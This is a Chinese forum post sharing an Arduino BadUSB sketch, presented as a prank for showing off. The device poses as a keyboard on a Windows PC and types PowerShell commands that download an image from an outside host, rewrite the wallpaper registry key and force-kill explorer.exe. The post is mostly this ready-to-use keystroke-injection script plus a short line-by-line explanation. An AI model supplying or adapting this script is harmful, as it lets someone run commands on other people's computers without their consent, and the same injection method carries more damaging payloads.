搜索
查看: 6097|回复: 0

badusb修改电脑桌面壁纸装逼

[复制链接]

714

主题

354

回帖

2669

积分

管理员

本论坛第一帅

积分
2669

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2020-3-11 22:05:59 来自手机 | 显示全部楼层 |阅读模式 来自 甘肃
[pre]
#include <Keyboard.h>
void setup() {
  // put your setup code here, to run once:
  Keyboard.begin();
  delay(2000);
  //返回桌面
  Keyboard.press(KEY_LEFT_GUI);
  delay(50);
  Keyboard.press('d');
  delay(50);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('d');
  delay(50);
  //启动运行
  Keyboard.press(KEY_LEFT_GUI);
  delay(50);
  Keyboard.press('r');
  delay(50);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  delay(50);
  //打开powershell
  Keyboard.println("powershell");
  delay(50);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(100);
  //获取文件
  Keyboard.println("(New-Object System.Net.Webclient).DownloadFile(\"https://img.catqu.com/images/2019/01/03/5aaf8f818dc0d29aaf30cdd93db0d5a1.jpg \",\"c:\\x.jpg \");");
  delay(300);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(2000);
  //通过修改注册表修改桌面图片,图片大小根据屏幕分辨率来
  Keyboard.println("reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /d c:\\x.jpg /f;RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters;");
  delay(50);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(1000);
  //杀死explorer.exe进程
  Keyboard.println("taskkill /f /im explorer.exe");
  delay(50);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(50);
  //退出powershell
  Keyboard.println("exit");
  delay(50);
  Keyboard.press(KEY_RETURN);
  Keyboard.release(KEY_RETURN);
  delay(50);
  Keyboard.end();
}

void loop() {
  // put your main code here, to run repeatedly:

}
[/pre]
主要代码解读
[pre]
主页         硬件开发  【分享】badusb修改壁纸装逼
【分享】badusb修改壁纸装逼
日期:2019-1-3  KING  硬件开发  浏览:460次  评论:0条
badusb修改电脑桌面壁纸装逼

主要代码

代码中路径如c:\1.txt要将 \ 进行转义(加 \ 转义), " 也要转义
//获取图片到c盘并保存为x.jpg
Keyboard.println("(New-Object System.Net.Webclient).DownloadFile(\"https://img.catqu.com/images/2019/01/03/5aaf8f818dc0d29aaf30cdd93db0d5a1.jpg \",\"c:\\x.jpg \");");
//修改桌面壁纸
Keyboard.println("reg add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v Wallpaper /d c:\\x.jpg /f;RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters;");
//杀死explorer.exe进程,不杀桌面图标及任务栏会影响逼格
Keyboard.println("taskkill /f /im explorer.exe");
[/pre]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表